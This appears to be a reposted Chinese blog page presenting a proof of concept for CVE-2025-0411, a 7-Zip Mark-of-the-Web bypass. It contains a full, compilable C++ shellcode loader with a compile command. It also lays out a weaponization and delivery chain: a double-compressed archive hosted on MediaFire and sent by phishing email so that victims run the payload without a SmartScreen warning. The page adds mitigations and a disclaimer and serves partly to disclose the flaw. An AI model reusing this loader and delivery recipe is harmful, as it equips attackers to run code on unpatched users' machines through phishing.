当前位置: 首页 > news >正文

7-Zip Mark-of-the-Web绕过漏洞(CVE-2025-0411)分析与示例

7-Zip Mark-of-the-Web 绕过漏洞 [CVE-2025-0411] - POC

漏洞简介

此漏洞(CVSS 评分为 7.0)允许远程攻击者绕过受影响 7-Zip 安装中的 Mark-of-the-Web(网络标记)保护机制。利用此漏洞需要用户交互,即目标用户必须访问恶意页面或打开恶意文件。具体缺陷存在于处理归档文件时。当从带有网络标记的特制存档中提取文件时,7-Zip 不会将网络标记传播到提取的文件。攻击者可利用此漏洞在当前用户上下文中执行任意代码。

受影响版本

  • 24.09 之前的所有版本均被视为易受攻击。

缓解措施

  • 更新 7-Zip:从 7-Zip 官方网站下载并安装 24.09 或更高版本。
  • 谨慎处理不受信任的文件:避免打开来自未知或可疑来源的文件,尤其是压缩存档。
  • 利用安全功能:确保您的操作系统和安全软件配置为检测和阻止恶意文件。

概念验证 (POC)

作为 POC 的一部分,我们实现了一个简单的 calc.exe 加载器(Shellcode Loader),用于演示代码执行过程。

加载器核心代码

这是一个用 C++ 编写的 Windows Shellcode 加载器。它负责在内存中分配空间,复制并执行 Shellcode。

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>int main(){DWORD oldprotect = 0;// 存放 Shellcode 的数组 (示例中为 calc.exe 的 Shellcode)unsigned char p[] = {//calc.exe shellcode};// 计算 Shellcode 长度unsigned int len = sizeof(p);// 在进程中申请可读可写内存void * payload_mem = VirtualAlloc(0, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);// 将 Shellcode 复制到申请的内存中RtlMoveMemory(payload_mem, p, len);// 将内存保护属性修改为可执行,防止 DEP 拦截BOOL rv = VirtualProtect(payload_mem, len, PAGE_EXECUTE_READ, &oldprotect);// 如果属性修改成功,则创建线程执行 Shellcodeif ( rv != 0 ) {HANDLE th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) payload_mem, 0, 0, 0);// 等待线程执行完毕WaitForSingleObject(th, -1);}return 0;
}// 编译命令(使用 MinGW-w64):
// x86_64-w64-mingw32-g++ .\loader.cpp -o loader.exe -s

漏洞利用方法

利用方法是对可执行文件进行双重压缩,从而触发漏洞。

  1. 武器化:将上述编译好的 loader.exe 进行两层压缩,制作成 7z 文件。
  2. 投递:将双重压缩的 7z 文件上传到有效载荷投递服务器(示例中为 MediaFire),并通过钓鱼邮件等方式向受害者发送恶意链接。下载后,文件会带有 "MotW"(Zone.Identifier,指示下载来源)。
  3. 执行:受害者需要点击打开多层压缩文件并运行其中的可执行文件。

已修复版本场景

使用 7-Zip 24.09 版本(已修复)打开文件时,会显示 Windows SmartScreen 警告,提示此文件来自不受信任的来源(因为它包含了 MotW)。

易受攻击版本场景

使用 7-Zip 24.07 版本(易受攻击)打开文件时,可以直接执行可执行文件,而不显示任何警告(因为提取的文件不包含 MotW)。

功能特性

本 POC 项目演示了以下核心环节:

  • 漏洞原理复现:展示了 CVE-2025-0411 如何绕过系统安全机制。
  • Shellcode 加载器:提供了一个完整的、可直接编译的 Windows 内存 Shellcode 加载器示例。
  • 完整的攻击链模拟:从载荷准备(压缩)到投递(带 MotW 下载),再到用户交互执行。
  • 版本对比说明:清晰展示了漏洞修复前后的不同行为。

安装与使用说明

本 POC 主要用于安全研究与教学目的。

环境要求

  • Windows 操作系统
  • 一个易受攻击的 7-Zip 版本 (如 24.07)
  • C/C++ 编译器 (如 MinGW-w64),用于编译加载器代码

使用步骤

  1. 编译加载器:使用 MinGW-w64 编译提供的 loader.cpp 代码,生成 loader.exe
    x86_64-w64-mingw32-g++ loader.cpp -o loader.exe -s
    
  2. 制作恶意存档:使用 7-Zip 24.07 版本将 loader.exe 压缩两次,生成嵌套的 .7z 文件。
  3. 模拟投递:将生成的 .7z 文件放在一个 Web 服务器上,或添加 Zone.Identifier 流以模拟从网络下载。
  4. 测试漏洞:在装有 7-Zip 24.07 的系统上下载并打开该存档,观察文件是否能不经警告直接执行。

免责声明:此代码仅用于教育和授权测试。请勿将其用于非法活动。

参考链接

  • https://www.zerodayinitiative.com/advisories/ZDI-25-045/
  • https://nvd.nist.gov/vuln/detail/CVE-2025-0411
  • https://securityonline.info/cve-2025-0411-7-zip-security-vulnerability-enables-code-execution-update-now/
    更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
    对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

公众号二维码

公众号二维码

http://www.zskr.cn/news/157521.html

相关文章:

  • (AutoGLM开发者必看)如何贡献代码到智谱开源项目?官方指南全曝光
  • 海外展会营销推广平台有哪些,海外展会推广公司大全 - 品牌2025
  • 性能提升80%的背后,智谱Open-AutoGLM 2.0是如何重构AI工作流的?
  • 2025年盘点哪些公司做立式消防泵?行业知名企业推荐! - 品牌推荐大师
  • PaddlePaddle镜像一键部署:高效GPU算力助力中文NLP模型训练
  • 【超全】基于SSM的学生公寓管理系统【包括源码+文档+调试】
  • 无损、快速、精准:拉曼光谱的“三重奏”重塑分析检测 - 品牌推荐大师
  • html5大文件分片上传插件vue-cli项目集成与加密传输
  • vue大文件分片上传插件源码解读及加密传输解决方案
  • 揭秘智谱Open-AutoGLM开源项目:5大核心功能你必须掌握
  • FastReport报表怎么控制行数?动态扩展与固定行数技巧
  • 5个核心概念助你理解YashanDB数据库的架构
  • PaddlePaddle框架的LayerDrop技术对模型稳定性的影响
  • 为什么顶尖机构都在研究Open-AutoGLM?,深入剖析其命名逻辑与技术野心
  • 为什么顶尖团队开始从CodeWhisperer转向Open-AutoGLM?真相曝光
  • 工会福利推荐公司排名揭秘,中远奇牧性价比之选 - 工业设备
  • 百度自研PaddlePaddle框架为何能支撑千亿参数模型?
  • 【Open-AutoGLM插件深度揭秘】:Chrome浏览器中的AI自动化神技,你真的会用吗?
  • PaddlePaddle框架的Warmup学习率预热策略设置
  • 背调平台如何成为HR招聘中的关键“拼图”?
  • 别墅泳池边岩板怎么选?抗菌功能与选择标准全解析 - 工业推荐榜
  • Qwen-Edit-2509:AI图像编辑与多角度生成的终极解决方案
  • 智普AutoGLM开源首秀:6大亮点功能全面解读,错过再等一年
  • 2025年天津低升糖食品品牌排行榜,一萱久降堂低升糖指数食品的市场评价如何 - 工业品网
  • 2025年四川省舞台机械厂家推荐:桁架/灯光架/舞台/网架/合唱台全流程实力厂商一览 - 深度智识库
  • PaddlePaddle框架的多头注意力(Multi-Head Attention)底层实现
  • 数字化转型的第一步:不是上系统,而是拆掉“数据孤岛”
  • 2025年北京定制化企业文化咨询排行榜,专业机构推荐及本地服务商测评 - 工业设备
  • 这5家C++培训机构服务超棒,选它学编程不踩坑! - 速递信息
  • 2025年液压中心架认证厂家排行榜,新测评精选液压中心架知名厂家推荐 - 工业品牌热点